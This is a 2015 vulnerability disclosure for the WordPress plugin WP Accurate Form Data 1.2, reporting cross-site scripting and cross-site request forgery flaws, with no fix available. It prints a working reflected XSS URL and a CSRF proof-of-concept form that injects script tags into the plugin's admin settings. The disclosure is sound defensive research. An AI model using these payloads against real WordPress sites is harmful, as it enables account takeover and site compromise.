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WordPress WP Accurate Form Data 1.2 XSS / CSRF

WordPress WP Accurate Form Data 1.2 XSS / CSRF
Posted Jul 31, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress WP Accurate Form Data plugin version 1.2 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | fc6a703b4f5acccbeb6944ce970d4cff

WordPress WP Accurate Form Data 1.2 XSS / CSRF

Change Mirror Download
Title: WordPress 'WP Accurate Form Data' Plugin 
Version: 1.2
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-21
Download:
- https://wordpress.org/plugins/accurate-form-data-real-time-form-validation/
- https://plugins.svn.wordpress.org/accurate-form-data-real-time-form-validation/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
The plugin performs E-mail and Physical Address validations automatically for most wordpress contact forms.

## XSS Vulnerabilities
==========================================================
The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a malicious URL (keep in mind that most modern browsers encode the url).

http://[URL]/wp-admin/options-general.php?page=Accu_Data_WP&a="><script>alert(1)</script>

----

The options on the admin settings page are displayed/stored without sanitization. This can be exploited with a crafted POST request.

PoC (using CSRF):

Log in as admin and submit the following form:

<form method="POST" action="http://[URL]/wp-admin/options-general.php?page=Accu_Data_WP">
<input type="text" name="wClientKey" value=""><script>alert(1)</script>"><br />
<text>wCheckEmailValidity: </text>
<input type="text" name="wCheckEmailValidity" value=""><br />
<input type="text" name="wIncludeOpen" value=""><br />
<input type="text" name="wEmailBlockAttempts" value=""><script>alert(4)</script>"><br />
<input type="text" name="wEmailFields" value=""><script>alert(5)</script>"><br />
<input type="text" name="wCheckPhysicalAddressValidity" value=""><br />
<input type="text" name="wPhysicalAddressBlockAttempts" value=""><script>alert(7)</script>"><br />
<input type="text" name="wCityFields" value=""><script>alert(8)</script>"><br />
<input type="text" name="wZipFields" value=""><script>alert(9)</script>"><br />
<input type="text" name="wAddressFields" value=""><script>alert(10)</script>"><br />
<input type="text" name="wStateFields" value=""><script>alert(11)</script>"><br />
<input type="text" name="wCountryFields" value=""><script>alert(12)</script>"><br />
<text>wSub </text>
<input type="text" name="wSub" value="Save Changes" readonly><br />
<input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
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